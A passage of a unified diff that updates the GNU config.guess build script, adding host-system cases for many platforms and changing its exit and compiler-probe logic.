 	echo sv1-cray-unicos${UNAME_RELEASE} | sed -e 's/\.[^.]*$/.X/'
-	exit 0 ;;
-    CRAY-2:*:*:*)
-	echo cray2-cray-unicos
-        exit 0 ;;
+	exit ;;
+    *:UNICOS/mp:*:*)
+	echo craynv-cray-unicosmp${UNAME_RELEASE} | sed -e 's/\.[^.]*$/.X/'
+	exit ;;
     F30[01]:UNIX_System_V:*:* | F700:UNIX_System_V:*:*)
 	FUJITSU_PROC=`uname -m | tr 'ABCDEFGHIJKLMNOPQRSTUVWXYZ' 'abcdefghijklmnopqrstuvwxyz'`
         FUJITSU_SYS=`uname -p | tr 'ABCDEFGHIJKLMNOPQRSTUVWXYZ' 'abcdefghijklmnopqrstuvwxyz' | sed -e 's/\///'`
         FUJITSU_REL=`echo ${UNAME_RELEASE} | sed -e 's/ /_/'`
         echo "${FUJITSU_PROC}-fujitsu-${FUJITSU_SYS}${FUJITSU_REL}"
-        exit 0 ;;
+        exit ;;
+    5000:UNIX_System_V:4.*:*)
+        FUJITSU_SYS=`uname -p | tr 'ABCDEFGHIJKLMNOPQRSTUVWXYZ' 'abcdefghijklmnopqrstuvwxyz' | sed -e 's/\///'`
+        FUJITSU_REL=`echo ${UNAME_RELEASE} | tr 'ABCDEFGHIJKLMNOPQRSTUVWXYZ' 'abcdefghijklmnopqrstuvwxyz' | sed -e 's/ /_/'`
+        echo "sparc-fujitsu-${FUJITSU_SYS}${FUJITSU_REL}"
+	exit ;;
     i*86:BSD/386:*:* | i*86:BSD/OS:*:* | *:Ascend\ Embedded/OS:*:*)
 	echo ${UNAME_MACHINE}-pc-bsdi${UNAME_RELEASE}
-	exit 0 ;;
+	exit ;;
     sparc*:BSD/OS:*:*)
 	echo sparc-unknown-bsdi${UNAME_RELEASE}
-	exit 0 ;;
+	exit ;;
     *:BSD/OS:*:*)
 	echo ${UNAME_MACHINE}-unknown-bsdi${UNAME_RELEASE}
-	exit 0 ;;
+	exit ;;
     *:FreeBSD:*:*)
-	echo ${UNAME_MACHINE}-unknown-freebsd`echo ${UNAME_RELEASE}|sed -e 's/[-(].*//'`
-	exit 0 ;;
+	case ${UNAME_MACHINE} in
+	    pc98)
+		echo i386-unknown-freebsd`echo ${UNAME_RELEASE}|sed -e 's/[-(].*//'` ;;
+	    amd64)
+		echo x86_64-unknown-freebsd`echo ${UNAME_RELEASE}|sed -e 's/[-(].*//'` ;;
+	    *)
+		echo ${UNAME_MACHINE}-unknown-freebsd`echo ${UNAME_RELEASE}|sed -e 's/[-(].*//'` ;;
+	esac
+	exit ;;
     i*:CYGWIN*:*)
 	echo ${UNAME_MACHINE}-pc-cygwin
-	exit 0 ;;
-    i*:MINGW*:*)
+	exit ;;
+    *:MINGW*:*)
 	echo ${UNAME_MACHINE}-pc-mingw32
-	exit 0 ;;
+	exit ;;
+    i*:windows32*:*)
+    	# uname -m includes "-pc" on this system.
+    	echo ${UNAME_MACHINE}-mingw32
+	exit ;;
     i*:PW*:*)
 	echo ${UNAME_MACHINE}-pc-pw32
-	exit 0 ;;
-    x86:Interix*:3*)
-	echo i386-pc-interix3
-	exit 0 ;;
+	exit ;;
+    *:Interix*:[3456]*)
+    	case ${UNAME_MACHINE} in
+	    x86)
+		echo i586-pc-interix${UNAME_RELEASE}
+		exit ;;
+	    EM64T | authenticamd | genuineintel)
+		echo x86_64-unknown-interix${UNAME_RELEASE}
+		exit ;;
+	    IA64)
+		echo ia64-unknown-interix${UNAME_RELEASE}
+		exit ;;
+	esac ;;
+    [345]86:Windows_95:* | [345]86:Windows_98:* | [345]86:Windows_NT:*)
+	echo i${UNAME_MACHINE}-pc-mks
+	exit ;;
     i*:Windows_NT*:* | Pentium*:Windows_NT*:*)
 	# How do we know it's Interix rather than the generic POSIX subsystem?
 	# It also conflicts with pre-2.0 versions of AT&T UWIN. Should we
 	# UNAME_MACHINE based on the output of uname instead of i386?
-	echo i386-pc-interix
-	exit 0 ;;
+	echo i586-pc-interix
+	exit ;;
     i*:UWIN*:*)
 	echo ${UNAME_MACHINE}-pc-uwin
-	exit 0 ;;
+	exit ;;
+    amd64:CYGWIN*:*:* | x86_64:CYGWIN*:*:*)
+	echo x86_64-unknown-cygwin
+	exit ;;
     p*:CYGWIN*:*)
 	echo powerpcle-unknown-cygwin
-	exit 0 ;;
+	exit ;;
     prep*:SunOS:5.*:*)
 	echo powerpcle-unknown-solaris2`echo ${UNAME_RELEASE}|sed -e 's/[^.]*//'`
-	exit 0 ;;
+	exit ;;
     *:GNU:*:*)
+	# the GNU system
 	echo `echo ${UNAME_MACHINE}|sed -e 's,[-/].*$,,'`-unknown-gnu`echo ${UNAME_RELEASE}|sed -e 's,/.*$,,'`
-	exit 0 ;;
+	exit ;;
+    *:GNU/*:*:*)
+	# other systems with GNU libc and userland
+	echo ${UNAME_MACHINE}-unknown-`echo ${UNAME_SYSTEM} | sed 's,^[^/]*/,,' | tr '[A-Z]' '[a-z]'``echo ${UNAME_RELEASE}|sed -e 's/[-(].*//'`-gnu
+	exit ;;
     i*86:Minix:*:*)
 	echo ${UNAME_MACHINE}-pc-minix
-	exit 0 ;;
+	exit ;;
     arm*:Linux:*:*)
+	eval $set_cc_for_build
+	if echo __ARM_EABI__ | $CC_FOR_BUILD -E - 2>/dev/null \
+	    | grep -q __ARM_EABI__
+	then
+	    echo ${UNAME_MACHINE}-unknown-linux-gnu
+	else
+	    echo ${UNAME_MACHINE}-unknown-linux-gnueabi
+	fi
+	exit ;;
+    avr32*:Linux:*:*)
 	echo ${UNAME_MACHINE}-unknown-linux-gnu
-	exit 0 ;;
+	exit ;;
+    cris:Linux:*:*)
+	echo cris-axis-linux-gnu
+	exit ;;
+    crisv32:Linux:*:*)
+	echo crisv32-axis-linux-gnu
+	exit ;;
+    frv:Linux:*:*)
+    	echo frv-unknown-linux-gnu
+	exit ;;
     ia64:Linux:*:*)
-	echo ${UNAME_MACHINE}-unknown-linux
-	exit 0 ;;
+	echo ${UNAME_MACHINE}-unknown-linux-gnu
+	exit ;;
+    m32r*:Linux:*:*)
+	echo ${UNAME_MACHINE}-unknown-linux-gnu
+	exit ;;
     m68*:Linux:*:*)
 	echo ${UNAME_MACHINE}-unknown-linux-gnu
-	exit 0 ;;
+	exit ;;
     mips:Linux:*:*)
 	eval $set_cc_for_build
 	sed 's/^	//' << EOF >$dummy.c
 	#undef CPU
 	#undef mips
 	#undef mipsel
-	#if defined(__MIPSEL__) || defined(__MIPSEL) || defined(_MIPSEL) || defined(MIPSEL) 
-	CPU=mipsel 
+	#if defined(__MIPSEL__) || defined(__MIPSEL) || defined(_MIPSEL) || defined(MIPSEL)
+	CPU=mipsel
 	#else
-	#if defined(__MIPSEB__) || defined(__MIPSEB) || defined(_MIPSEB) || defined(MIPSEB) 
+	#if defined(__MIPSEB__) || defined(__MIPSEB) || defined(_MIPSEB) || defined(MIPSEB)
 	CPU=mips
 	#else
 	CPU=
 	#endif
-	#endif 
+	#endif
+EOF
+	eval "`$CC_FOR_BUILD -E $dummy.c 2>/dev/null | sed -n '
+	    /^CPU/{
+		s: ::g
+		p
+	    }'`"
+	test x"${CPU}" != x && { echo "${CPU}-unknown-linux-gnu"; exit; }
+	;;
+    mips64:Linux:*:*)
+	eval $set_cc_for_build
+	sed 's/^	//' << EOF >$dummy.c
+	#undef CPU
+	#undef mips64
+	#undef mips64el
+	#if defined(__MIPSEL__) || defined(__MIPSEL) || defined(_MIPSEL) || defined(MIPSEL)
+	CPU=mips64el
+	#else
+	#if defined(__MIPSEB__) || defined(__MIPSEB) || defined(_MIPSEB) || defined(MIPSEB)
+	CPU=mips64
+	#else
+	CPU=
+	#endif
+	#endif
 EOF
-	eval `$CC_FOR_BUILD -E $dummy.c 2>/dev/null | grep ^CPU=`
-	rm -f $dummy.c
-	test x"${CPU}" != x && echo "${CPU}-pc-linux-gnu" && exit 0
+	eval "`$CC_FOR_BUILD -E $dummy.c 2>/dev/null | sed -n '
+	    /^CPU/{
+		s: ::g
+		p
+	    }'`"
+	test x"${CPU}" != x && { echo "${CPU}-unknown-linux-gnu"; exit; }
 	;;
+    or32:Linux:*:*)
+	echo or32-unknown-linux-gnu
+	exit ;;
     ppc:Linux:*:*)
 	echo powerpc-unknown-linux-gnu
-	exit 0 ;;
+	exit ;;
     ppc64:Linux:*:*)
 	echo powerpc64-unknown-linux-gnu
-	exit 0 ;;
+	exit ;;
     alpha:Linux:*:*)
 	case `sed -n '/^cpu model/s/^.*: \(.*\)/\1/p' < /proc/cpuinfo` in
 	  EV5)   UNAME_MACHINE=alphaev5 ;;
@@ -809,7 +950,10 @@
 	objdump --private-headers /bin/sh | grep ld.so.1 >/dev/null
 	if test "$?" = 0 ; then LIBC="libc1" ; else LIBC="" ; fi
 	echo ${UNAME_MACHINE}-unknown-linux-gnu${LIBC}
-	exit 0 ;;
+	exit ;;
+    padre:Linux:*:*)
+	echo sparc-unknown-linux-gnu
+	exit ;;
     parisc:Linux:*:* | hppa:Linux:*:*)
 	# Look for CPU level
 	case `grep '^cpu[^a-z]*:' /proc/cpuinfo 2>/dev/null | cut -d' ' -f2` in
@@ -817,29 +961,37 @@
 	  PA8*) echo hppa2.0-unknown-linux-gnu ;;
 	  *)    echo hppa-unknown-linux-gnu ;;
 	esac
-	exit 0 ;;
+	exit ;;
     parisc64:Linux:*:* | hppa64:Linux:*:*)
 	echo hppa64-unknown-linux-gnu
-	exit 0 ;;
+	exit ;;
     s390:Linux:*:* | s390x:Linux:*:*)
 	echo ${UNAME_MACHINE}-ibm-linux
-	exit 0 ;;
+	exit ;;
+    sh64*:Linux:*:*)
+    	echo ${UNAME_MACHINE}-unknown-linux-gnu
+	exit ;;
     sh*:Linux:*:*)
 	echo ${UNAME_MACHINE}-unknown-linux-gnu
-	exit 0 ;;
+	exit ;;
     sparc:Linux:*:* | sparc64:Linux:*:*)
 	echo ${UNAME_MACHINE}-unknown-linux-gnu
-	exit 0 ;;
+	exit ;;
+    vax:Linux:*:*)
+	echo ${UNAME_MACHINE}-dec-linux-gnu
+	exit ;;
     x86_64:Linux:*:*)
 	echo x86_64-unknown-linux-gnu
-	exit 0 ;;
+	exit ;;
+    xtensa*:Linux:*:*)
+    	echo ${UNAME_MACHINE}-unknown-linux-gnu
+	exit ;;
     i*86:Linux:*:*)
 	# The BFD linker knows what the default object file format is, so
 	# first see if it will tell us. cd to the root directory to prevent
 	# problems with other programs or directories called `ld' in the path.
-	# Export LANG=C to prevent ld from outputting information in other
-	# languages.
-	ld_supported_targets=`LANG=C; export LANG; cd /; ld --help 2>&1 \
+	# Set LC_ALL=C to ensure ld outputs messages in English.
+	ld_supported_targets=`cd /; LC_ALL=C ld --help 2>&1 \
 			 | sed -ne '/supported targets:/!d
 				    s/[ 	][ 	]*/ /g
 				    s/.*supported targets: *//
@@ -851,15 +1003,12 @@
 		;;
 	  a.out-i386-linux)
 		echo "${UNAME_MACHINE}-pc-linux-gnuaout"
-		exit 0 ;;		
-	  coff-i386)
-		echo "${UNAME_MACHINE}-pc-linux-gnucoff"
-		exit 0 ;;
+		exit ;;
 	  "")
 		# Either a pre-BFD a.out linker (linux-gnuoldld) or
 		# one that does not give us useful --help.
 		echo "${UNAME_MACHINE}-pc-linux-gnuoldld"
-		exit 0 ;;
+		exit ;;
 	esac
 	# Determine whether the default compiler is a.out or elf
 	eval $set_cc_for_build
@@ -876,24 +1025,33 @@
 	LIBC=gnulibc1
 	# endif
 	#else
-	#ifdef __INTEL_COMPILER
+	#if defined(__INTEL_COMPILER) || defined(__PGI) || defined(__SUNPRO_C) || defined(__SUNPRO_CC)
 	LIBC=gnu
 	#else
 	LIBC=gnuaout
 	#endif
 	#endif
+	#ifdef __dietlibc__
+	LIBC=dietlibc
+	#endif
 EOF
-	eval `$CC_FOR_BUILD -E $dummy.c 2>/dev/null | grep ^LIBC=`
-	rm -f $dummy.c
-	test x"${LIBC}" != x && echo "${UNAME_MACHINE}-pc-linux-${LIBC}" && exit 0
-	test x"${TENTATIVE}" != x && echo "${TENTATIVE}" && exit 0
+	eval "`$CC_FOR_BUILD -E $dummy.c 2>/dev/null | sed -n '
+	    /^LIBC/{
+		s: ::g
+		p
+	    }'`"
+	test x"${LIBC}" != x && {
+		echo "${UNAME_MACHINE}-pc-linux-${LIBC}"
+		exit
+	}
+	test x"${TENTATIVE}" != x && { echo "${TENTATIVE}"; exit; }
 	;;
     i*86:DYNIX/ptx:4*:*)
 	# ptx 4.0 does uname -s correctly, with DYNIX/ptx in there.
 	# earlier versions are messed up and put the nodename in both
 	# sysname and nodename.
 	echo i386-sequent-sysv4
-	exit 0 ;;
+	exit ;;
     i*86:UNIX_SV:4.2MP:2.*)
         # Unixware is an offshoot of SVR4, but it has its own version
         # number series starting with 2...
@@ -901,7 +1059,27 @@
 	# I just have to hope.  -- rms.
         # Use sysv4.2uw... so that sysv4* matches it.
 	echo ${UNAME_MACHINE}-pc-sysv4.2uw${UNAME_VERSION}
-	exit 0 ;;
+	exit ;;
+    i*86:OS/2:*:*)
+	# If we were able to find `uname', then EMX Unix compatibility
+	# is probably installed.
+	echo ${UNAME_MACHINE}-pc-os2-emx
+	exit ;;
+    i*86:XTS-300:*:STOP)
+	echo ${UNAME_MACHINE}-unknown-stop
+	exit ;;
+    i*86:atheos:*:*)
+	echo ${UNAME_MACHINE}-unknown-atheos
+	exit ;;
+    i*86:syllable:*:*)
+	echo ${UNAME_MACHINE}-pc-syllable
+	exit ;;
+    i*86:LynxOS:2.*:* | i*86:LynxOS:3.[01]*:* | i*86:LynxOS:4.0*:*)
+	echo i386-unknown-lynxos${UNAME_RELEASE}
+	exit ;;
+    i*86:*DOS:*:*)
+	echo ${UNAME_MACHINE}-pc-msdosdjgpp
+	exit ;;
     i*86:*:4.*:* | i*86:SYSTEM_V:4.*:*)
 	UNAME_REL=`echo ${UNAME_RELEASE} | sed 's/\/MP$//'`
 	if grep Novell /usr/include/link.h >/dev/null 2>/dev/null; then
@@ -909,99 +1087,113 @@
 	else
 		echo ${UNAME_MACHINE}-pc-sysv${UNAME_REL}
 	fi
-	exit 0 ;;
-    i*86:*:5:[78]*)
+	exit ;;
+    i*86:*:5:[678]*)
+    	# UnixWare 7.x, OpenUNIX and OpenServer 6.
 	case `/bin/uname -X | grep "^Machine"` in
 	    *486*)	     UNAME_MACHINE=i486 ;;
 	    *Pentium)	     UNAME_MACHINE=i586 ;;
 	    *Pent*|*Celeron) UNAME_MACHINE=i686 ;;
 	esac
 	echo ${UNAME_MACHINE}-unknown-sysv${UNAME_RELEASE}${UNAME_SYSTEM}${UNAME_VERSION}
-	exit 0 ;;
+	exit ;;
     i*86:*:3.2:*)
 	if test -f /usr/options/cb.name; then
 		UNAME_REL=`sed -n 's/.*Version //p' </usr/options/cb.name`
 		echo ${UNAME_MACHINE}-pc-isc$UNAME_REL
 	elif /bin/uname -X 2>/dev/null >/dev/null ; then
-		UNAME_REL=`(/bin/uname -X|egrep Release|sed -e 's/.*= //')`
-		(/bin/uname -X|egrep i80486 >/dev/null) && UNAME_MACHINE=i486
-		(/bin/uname -X|egrep '^Machine.*Pentium' >/dev/null) \
+		UNAME_REL=`(/bin/uname -X|grep Release|sed -e 's/.*= //')`
+		(/bin/uname -X|grep i80486 >/dev/null) && UNAME_MACHINE=i486
+		(/bin/uname -X|grep '^Machine.*Pentium' >/dev/null) \
 			&& UNAME_MACHINE=i586
-		(/bin/uname -X|egrep '^Machine.*Pent ?II' >/dev/null) \
+		(/bin/uname -X|grep '^Machine.*Pent *II' >/dev/null) \
 			&& UNAME_MACHINE=i686
-		(/bin/uname -X|egrep '^Machine.*Pentium Pro' >/dev/null) \
+		(/bin/uname -X|grep '^Machine.*Pentium Pro' >/dev/null) \
 			&& UNAME_MACHINE=i686
 		echo ${UNAME_MACHINE}-pc-sco$UNAME_REL
 	else
 		echo ${UNAME_MACHINE}-pc-sysv32
 	fi
-	exit 0 ;;
-    i*86:*DOS:*:*)
-	echo ${UNAME_MACHINE}-pc-msdosdjgpp
-	exit 0 ;;
+	exit ;;
     pc:*:*:*)
 	# Left here for compatibility:
         # uname -m prints for DJGPP always 'pc', but it prints nothing about
-        # the processor, so we play safe by assuming i386.
-	echo i386-pc-msdosdjgpp
-        exit 0 ;;
+        # the processor, so we play safe by assuming i586.
+	# Note: whatever this is, it MUST be the same as what config.sub
+	# prints for the "djgpp" host, or else GDB configury will decide that
+	# this is a cross-build.
+	echo i586-pc-msdosdjgpp
+        exit ;;
     Intel:Mach:3*:*)
 	echo i386-pc-mach3
-	exit 0 ;;
+	exit ;;
     paragon:*:*:*)
 	echo i860-intel-osf1
-	exit 0 ;;
+	exit ;;
     i860:*:4.*:*) # i860-SVR4
 	if grep Stardent /usr/include/sys/uadmin.h >/dev/null 2>&1 ; then
 	  echo i860-stardent-sysv${UNAME_RELEASE} # Stardent Vistra i860-SVR4
 	else # Add other i860-SVR4 vendors below as they are discovered.
 	  echo i860-unknown-sysv${UNAME_RELEASE}  # Unknown i860-SVR4
 	fi
-	exit 0 ;;
+	exit ;;
     mini*:CTIX:SYS*5:*)
 	# "miniframe"
 	echo m68010-convergent-sysv
-	exit 0 ;;
-    M68*:*:R3V[567]*:*)
-	test -r /sysV68 && echo 'm68k-motorola-sysv' && exit 0 ;;
-    3[34]??:*:4.0:3.0 | 3[34]??A:*:4.0:3.0 | 3[34]??,*:*:4.0:3.0 | 3[34]??/*:*:4.0:3.0 | 4850:*:4.0:3.0 | SKA40:*:4.0:3.0)
+	exit ;;
+    mc68k:UNIX:SYSTEM5:3.51m)
+	echo m68k-convergent-sysv
+	exit ;;
+    M680?0:D-NIX:5.3:*)
+	echo m68k-diab-dnix
+	exit ;;
+    M68*:*:R3V[5678]*:*)
+	test -r /sysV68 && { echo 'm68k-motorola-sysv'; exit; } ;;
+    3[345]??:*:4.0:3.0 | 3[34]??A:*:4.0:3.0 | 3[34]??,*:*:4.0:3.0 | 3[34]??/*:*:4.0:3.0 | 4400:*:4.0:3.0 | 4850:*:4.0:3.0 | SKA40:*:4.0:3.0 | SDS2:*:4.0:3.0 | SHG2:*:4.0:3.0 | S7501*:*:4.0:3.0)
 	OS_REL=''
 	test -r /etc/.relid \
 	&& OS_REL=.`sed -n 's/[^ ]* [^ ]* \([0-9][0-9]\).*/\1/p' < /etc/.relid`
 	/bin/uname -p 2>/dev/null | grep 86 >/dev/null \
-	  && echo i486-ncr-sysv4.3${OS_REL} && exit 0
+	  && { echo i486-ncr-sysv4.3${OS_REL}; exit; }
 	/bin/uname -p 2>/dev/null | /bin/grep entium >/dev/null \
-	  && echo i586-ncr-sysv4.3${OS_REL} && exit 0 ;;
+	  && { echo i586-ncr-sysv4.3${OS_REL}; exit; } ;;
     3[34]??:*:4.0:* | 3[34]??,*:*:4.0:*)
         /bin/uname -p 2>/dev/null | grep 86 >/dev/null \
-          && echo i486-ncr-sysv4 && exit 0 ;;
+          && { echo i486-ncr-sysv4; exit; } ;;
+    NCR*:*:4.2:* | MPRAS*:*:4.2:*)
+	OS_REL='.3'
+	test -r /etc/.relid \
+	    && OS_REL=.`sed -n 's/[^ ]* [^ ]* \([0-9][0-9]\).*/\1/p' < /etc/.relid`
+	/bin/uname -p 2>/dev/null | grep 86 >/dev/null \
+	    && { echo i486-ncr-sysv4.3${OS_REL}; exit; }
+	/bin/uname -p 2>/dev/null | /bin/grep entium >/dev/null \
+	    && { echo i586-ncr-sysv4.3${OS_REL}; exit; }
+	/bin/uname -p 2>/dev/null | /bin/grep pteron >/dev/null \
+	    && { echo i586-ncr-sysv4.3${OS_REL}; exit; } ;;
     m68*:LynxOS:2.*:* | m68*:LynxOS:3.0*:*)
 	echo m68k-unknown-lynxos${UNAME_RELEASE}
-	exit 0 ;;
+	exit ;;
     mc68030:UNIX_System_V:4.*:*)
 	echo m68k-atari-sysv4
-	exit 0 ;;
-    i*86:LynxOS:2.*:* | i*86:LynxOS:3.[01]*:* | i*86:LynxOS:4.0*:*)
-	echo i386-unknown-lynxos${UNAME_RELEASE}
-	exit 0 ;;
+	exit ;;
     TSUNAMI:LynxOS:2.*:*)
 	echo sparc-unknown-lynxos${UNAME_RELEASE}
-	exit 0 ;;
+	exit ;;
     rs6000:LynxOS:2.*:*)
 	echo rs6000-unknown-lynxos${UNAME_RELEASE}
-	exit 0 ;;
+	exit ;;
     PowerPC:LynxOS:2.*:* | PowerPC:LynxOS:3.[01]*:* | PowerPC:LynxOS:4.0*:*)
 	echo powerpc-unknown-lynxos${UNAME_RELEASE}
-	exit 0 ;;
+	exit ;;
     SM[BE]S:UNIX_SV:*:*)
 	echo mips-dde-sysv${UNAME_RELEASE}
-	exit 0 ;;
+	exit ;;
     RM*:ReliantUNIX-*:*:*)
 	echo mips-sni-sysv4
-	exit 0 ;;
+	exit ;;
     RM*:SINIX-*:*:*)
 	echo mips-sni-sysv4
-	exit 0 ;;
+	exit ;;
     *:SINIX-*:*:*)
 	if uname -p 2>/dev/null >/dev/null ; then
 		UNAME_MACHINE=`(uname -p) 2>/dev/null`
@@ -1009,82 +1201,110 @@
 	else
 		echo ns32k-sni-sysv
 	fi
-	exit 0 ;;
+	exit ;;
     PENTIUM:*:4.0*:*) # Unisys `ClearPath HMP IX 4000' SVR4/MP effort
                       # says <Richard.M.Bartel@ccMail.Census.GOV>
         echo i586-unisys-sysv4
-        exit 0 ;;
+        exit ;;
     *:UNIX_System_V:4*:FTX*)
 	# From Gerald Hewes <hewes@openmarket.com>.
 	# How about differentiating between stratus architectures? -djm
 	echo hppa1.1-stratus-sysv4
-	exit 0 ;;
+	exit ;;
     *:*:*:FTX*)
 	# From seanf@swdc.stratus.com.
 	echo i860-stratus-sysv4
-	exit 0 ;;
+	exit ;;
+    i*86:VOS:*:*)
+	# From Paul.Green@stratus.com.
+	echo ${UNAME_MACHINE}-stratus-vos
+	exit ;;
     *:VOS:*:*)
 	# From Paul.Green@stratus.com.
 	echo hppa1.1-stratus-vos
-	exit 0 ;;
+	exit ;;
     mc68*:A/UX:*:*)
 	echo m68k-apple-aux${UNAME_RELEASE}
-	exit 0 ;;
+	exit ;;
     news*:NEWS-OS:6*:*)
 	echo mips-sony-newsos6
-	exit 0 ;;
+	exit ;;
     R[34]000:*System_V*:*:* | R4000:UNIX_SYSV:*:* | R*000:UNIX_SV:*:*)
 	if [ -d /usr/nec ]; then
 	        echo mips-nec-sysv${UNAME_RELEASE}
 	else
 	        echo mips-unknown-sysv${UNAME_RELEASE}
 	fi
-        exit 0 ;;
+        exit ;;
     BeBox:BeOS:*:*)	# BeOS running on hardware made by Be, PPC only.
 	echo powerpc-be-beos
-	exit 0 ;;
+	exit ;;
     BeMac:BeOS:*:*)	# BeOS running on Mac or Mac clone, PPC only.
 	echo powerpc-apple-beos
-	exit 0 ;;
+	exit ;;
     BePC:BeOS:*:*)	# BeOS running on Intel PC compatible.
 	echo i586-pc-beos
-	exit 0 ;;
+	exit ;;
+    BePC:Haiku:*:*)	# Haiku running on Intel PC compatible.
+	echo i586-pc-haiku
+	exit ;;
     SX-4:SUPER-UX:*:*)
 	echo sx4-nec-superux${UNAME_RELEASE}
-	exit 0 ;;
+	exit ;;
     SX-5:SUPER-UX:*:*)
 	echo sx5-nec-superux${UNAME_RELEASE}
-	exit 0 ;;
+	exit ;;
+    SX-6:SUPER-UX:*:*)
+	echo sx6-nec-superux${UNAME_RELEASE}
+	exit ;;
+    SX-7:SUPER-UX:*:*)
+	echo sx7-nec-superux${UNAME_RELEASE}
+	exit ;;
+    SX-8:SUPER-UX:*:*)
+	echo sx8-nec-superux${UNAME_RELEASE}
+	exit ;;
+    SX-8R:SUPER-UX:*:*)
+	echo sx8r-nec-superux${UNAME_RELEASE}
+	exit ;;
     Power*:Rhapsody:*:*)
 	echo powerpc-apple-rhapsody${UNAME_RELEASE}
-	exit 0 ;;
+	exit ;;
     *:Rhapsody:*:*)
 	echo ${UNAME_MACHINE}-apple-rhapsody${UNAME_RELEASE}
-	exit 0 ;;
+	exit ;;
     *:Darwin:*:*)
-	echo `uname -p`-apple-darwin${UNAME_RELEASE}
-	exit 0 ;;
+	UNAME_PROCESSOR=`uname -p` || UNAME_PROCESSOR=unknown
+	case $UNAME_PROCESSOR in
+	    unknown) UNAME_PROCESSOR=powerpc ;;
+	esac
+	echo ${UNAME_PROCESSOR}-apple-darwin${UNAME_RELEASE}
+	exit ;;
     *:procnto*:*:* | *:QNX:[0123456789]*:*)
-	if test "${UNAME_MACHINE}" = "x86pc"; then
+	UNAME_PROCESSOR=`uname -p`
+	if test "$UNAME_PROCESSOR" = "x86"; then
+		UNAME_PROCESSOR=i386
 		UNAME_MACHINE=pc
 	fi
-	echo `uname -p`-${UNAME_MACHINE}-nto-qnx
-	exit 0 ;;
+	echo ${UNAME_PROCESSOR}-${UNAME_MACHINE}-nto-qnx${UNAME_RELEASE}
+	exit ;;
     *:QNX:*:4*)
 	echo i386-pc-qnx
-	exit 0 ;;
-    NSR-[GKLNPTVW]:NONSTOP_KERNEL:*:*)
+	exit ;;
+    NSE-?:NONSTOP_KERNEL:*:*)
+	echo nse-tandem-nsk${UNAME_RELEASE}
+	exit ;;
+    NSR-?:NONSTOP_KERNEL:*:*)
 	echo nsr-tandem-nsk${UNAME_RELEASE}
-	exit 0 ;;
+	exit ;;
     *:NonStop-UX:*:*)
 	echo mips-compaq-nonstopux
-	exit 0 ;;
+	exit ;;
     BS2000:POSIX*:*:*)
 	echo bs2000-siemens-sysv
-	exit 0 ;;
+	exit ;;
     DS/*:UNIX_System_V:*:*)
 	echo ${UNAME_MACHINE}-${UNAME_SYSTEM}-${UNAME_RELEASE}
-	exit 0 ;;
+	exit ;;
     *:Plan9:*:*)
 	# "uname -m" is not consistent, so use $cputype instead. 386
 	# is converted to i386 for consistency with other x86
@@ -1095,36 +1315,50 @@
 	    UNAME_MACHINE="$cputype"
 	fi
 	echo ${UNAME_MACHINE}-unknown-plan9
-	exit 0 ;;
-    i*86:OS/2:*:*)
-	# If we were able to find `uname', then EMX Unix compatibility
-	# is probably installed.
-	echo ${UNAME_MACHINE}-pc-os2-emx
-	exit 0 ;;
+	exit ;;
     *:TOPS-10:*:*)
 	echo pdp10-unknown-tops10
-	exit 0 ;;
+	exit ;;
     *:TENEX:*:*)
 	echo pdp10-unknown-tenex
-	exit 0 ;;
+	exit ;;
     KS10:TOPS-20:*:* | KL10:TOPS-20:*:* | TYPE4:TOPS-20:*:*)
 	echo pdp10-dec-tops20
-	exit 0 ;;
+	exit ;;
     XKL-1:TOPS-20:*:* | TYPE5:TOPS-20:*:*)
 	echo pdp10-xkl-tops20
-	exit 0 ;;
+	exit ;;
     *:TOPS-20:*:*)
 	echo pdp10-unknown-tops20
-	exit 0 ;;
+	exit ;;
     *:ITS:*:*)
 	echo pdp10-unknown-its
-	exit 0 ;;
-    i*86:XTS-300:*:STOP)
-	echo ${UNAME_MACHINE}-unknown-stop
-	exit 0 ;;
-    i*86:atheos:*:*)
-	echo ${UNAME_MACHINE}-unknown-atheos
-	exit 0 ;;
+	exit ;;
+    SEI:*:*:SEIUX)
+        echo mips-sei-seiux${UNAME_RELEASE}
+	exit ;;
+    *:DragonFly:*:*)
+	echo ${UNAME_MACHINE}-unknown-dragonfly`echo ${UNAME_RELEASE}|sed -e 's/[-(].*//'`
+	exit ;;
+    *:*VMS:*:*)
+    	UNAME_MACHINE=`(uname -p) 2>/dev/null`
+	case "${UNAME_MACHINE}" in
+	    A*) echo alpha-dec-vms ; exit ;;
+	    I*) echo ia64-dec-vms ; exit ;;
+	    V*) echo vax-dec-vms ; exit ;;
+	esac ;;
+    *:XENIX:*:SysV)
+	echo i386-pc-xenix
+	exit ;;
+    i*86:skyos:*:*)
+	echo ${UNAME_MACHINE}-pc-skyos`echo ${UNAME_RELEASE}` | sed -e 's/ .*$//'
+	exit ;;
+    i*86:rdos:*:*)
+	echo ${UNAME_MACHINE}-pc-rdos
+	exit ;;
+    i*86:AROS:*:*)
+	echo ${UNAME_MACHINE}-pc-aros
+	exit ;;
 esac
 
 #echo '(No uname command or uname output not recognized.)' 1>&2
@@ -1156,7 +1390,7 @@
 #endif
 
 #if defined (__arm) && defined (__acorn) && defined (__unix)
-  printf ("arm-acorn-riscix"); exit (0);
+  printf ("arm-acorn-riscix\n"); exit (0);
 #endif
 
 #if defined (hp300) && !defined (hpux)
@@ -1245,12 +1479,12 @@
 }
 EOF
 
-$CC_FOR_BUILD $dummy.c -o $dummy 2>/dev/null && ./$dummy && rm -f $dummy.c $dummy && exit 0
-rm -f $dummy.c $dummy
+$CC_FOR_BUILD -o $dummy $dummy.c 2>/dev/null && SYSTEM_NAME=`$dummy` &&
+	{ echo "$SYSTEM_NAME"; exit; }
 
 # Apollos put the system type in the environment.
 
-test -d /usr/apollo && { echo ${ISP}-apollo-${SYSTYPE}; exit 0; }
+test -d /usr/apollo && { echo ${ISP}-apollo-${SYSTYPE}; exit; }
 
 # Convex versions that predate uname can use getsysinfo(1)
 
@@ -1259,22 +1493,22 @@
     case `getsysinfo -f cpu_type` in
     c1*)
 	echo c1-convex-bsd
-	exit 0 ;;
+	exit ;;
     c2*)
 	if getsysinfo -f scalar_acc
 	then echo c32-convex-bsd
 	else echo c2-convex-bsd
 	fi
-	exit 0 ;;
+	exit ;;
     c34*)
 	echo c34-convex-bsd
-	exit 0 ;;
+	exit ;;
     c38*)
 	echo c38-convex-bsd
-	exit 0 ;;
+	exit ;;
     c4*)
 	echo c4-convex-bsd
-	exit 0 ;;
+	exit ;;
     esac
 fi
 
@@ -1285,7 +1519,9 @@
 the operating system you are using. It is advised that you
 download the most up to date version of the config scripts from
 
-    ftp://ftp.gnu.org/pub/gnu/config/
